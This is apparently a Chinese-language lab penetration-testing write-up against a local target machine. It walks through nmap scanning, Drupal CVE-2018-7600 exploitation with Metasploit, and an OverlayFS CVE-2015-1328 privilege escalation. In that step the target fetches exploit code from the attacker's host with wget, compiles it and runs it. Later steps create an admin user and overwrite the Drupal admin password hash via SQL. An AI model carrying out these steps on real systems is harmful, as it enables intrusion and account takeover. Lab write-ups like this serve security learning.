渗透测试过程
先确定攻击机IP地址为192.168.10.10
NMAP 扫描网段
发现192.168.10.18和以下端口
端口介绍:
21 端口:FTP(文件传输协议)的默认端口,主要用于文件的上传和下载,通过该端口,用户可在网络上进行文件的传输操作。
22 端口:SSH(安全外壳协议)的默认端口,用于安全地远程登录服务器和执行命令,能为远程连接提供加密通道。
80 端口:HTTP(超文本传输协议)的默认端口,是网页浏览的标准端口,用户通过该端口可以访问各种网站,获取网页信息。
445 端口:用于 Microsoft 的 SMB(服务器消息块)协议,主要用于在局域网中共享文件、打印机等资源,Windows 系统常利用此端口进行资源共享和访问。
631 端口:是 IPP(互联网打印协议)的默认端口,主要用于网络打印服务,实现计算机与打印机之间的通信,方便用户进行网络打印操作。
3000 端口:通常不是特定网络协议的标准端口,常被一些开发中的 Web 应用程序或 Node.js 应用等使用,作为自定义的服务端口。
8080 端口:一般被用作 HTTP 服务器的备用端口,当 80 端口被占用时,一些 Web 服务器会使用 8080 端口提供服务,也常用于代理服务器、Tomcat 服务器等。
8181 端口:同样不是标准的知名端口,一些特定的应用程序或服务会根据自身需求将其作为监听端口,如某些中间件、企业应用等可能会使用该端口提供特定服务。
确定靶机IP地址为192.168.10.18
确认服务器运行状态,得知相关软件正常运行,并且发现有2个cms和一个数据库管理软件
访问drupadcms,发现登录页面用弱口令登录发现没用,也许可以用暴力破解。
访问chat网站,发现是get型传参,也许可以用sql注入
后台扫描
21和22端口可以用九头蛇爆破
经过网络信息收集发现Drupal有CVE-2018-7600 远程代码执行漏洞
首先弱口令登录,扫端口、扫后台都没什么较大的收获。于是将目标盯在了Drupal这个cms框架上面了,发现这个cms有一个注入getshell的漏洞(CVE-2018-7600),并且metasploit中已有攻击模块,可以直接利用。
打开msf,查找drupal武器库
msfconsole
search drupal
使用的2016年的模块 use 20
成功获取到shell但是是低权限(www用户)
Uname -a 发现系统内核为3.13.0-24-generic(Ubuntu 14.04 LTS)
经过网络搜索发现可以使用:OverlayFS 漏洞 (CVE-2015-1328)
CVE-2015-1328 漏洞简述:
漏洞原理:
OverlayFS 在从底层目录(lowerdir)向可写层(upperdir)复制文件时,未正确验证用户权限,导致普通用户可通过挂载命名空间伪造文件元数据,覆盖敏感系统文件(如 /etc/ld.so.preload),从而获取 root 权限。
影响范围
主要影响 Ubuntu 12.04、14.04、14.10、15.04 版本,这些系统默认启用了 CONFIG_USER_NS 和 FS_USERNS_MOUNT 功能,允许非特权用户挂载 OverlayFS。
漏洞意义
暴露了 Linux 内核中功能组合的安全风险,尤其是容器技术依赖的文件系统权限模型缺陷,强调了权限最小化配置的重要性。
下载漏洞利用代码
在攻击机执行 wget https://www.exploit-db.com/download/37292 -O /tmp/overlayfs.c,获取公开的 OverlayFS 提权代码 overlayfs.c,保存至 /tmp 目录。
托管漏洞文件
通过 sudo php -S 0.0.0.0:80 -t ./ 在攻击机启动 PHP HTTP 服务,监听 80 端口,托管当前目录下的文件,确保目标机可访问。
目标机下载代码
在目标机的 /tmp 目录执行 cd /tmp && wget http://192.168.10.10/overlayfs.c,从攻击机拉取漏洞利用文件,需确保网络连通。
编译与提权
目标机编译代码并执行:
gcc overlayfs.c -o overlayfs && ./overlayfs
创建qwe用户并加入管理组
使用ssh登录qwe用户
登录成功
在 Drupal 系统中,/sites/default/settings.php 是数据库连接配置文件。我们可以通过查看此文件,确认是否能获取有用信息,比如数据库账号密码等敏感内容
发现数据库是root用户(高权限)
首先我们通过敏感文件得到了数据库名、账号和密码,肯定是要进入数据库看有无所需信息的。如系统管理员账户信息
登录数据库
msql -u root -p
当收集信息时发现靶机开启了 3306 端口,尽管当前用户权限不足,但在获得相应提权或具备合法登录凭证后,我们可尝试在本地机器上,借助 MySQL 客户端工具(例如 mysql 命令行工具)远程登录靶机的数据库。使用 mysql 命令行工具时,其命令格式如下:
mysql -h 靶机 IP 地址 -P 3306 -u 用户名 -p
因为权限问题也不让登录
尝试phpmyadmin发现登录成功,尝试找到管理员密码,发现被加密
若需修改或绕过此密码,可采取以下方法:
生成新哈希并更新数据库
通过 Drupal 的 password-hash.sh 脚本或 PHP 代码生成新密码的合法哈希,例如:
php password-hash.sh 新密码
将生成的哈希值更新到数据库
将生成的哈希值更新到数据库:
UPDATE users SET pass='$S$CIQ0yL6dIOn4x4eDyP/uZxyA1kafMwvU5oBGVxx/7JNc5nzmW6Zh' WHERE name='admin';
然后登录
登录成功
评论前必须登录!
注册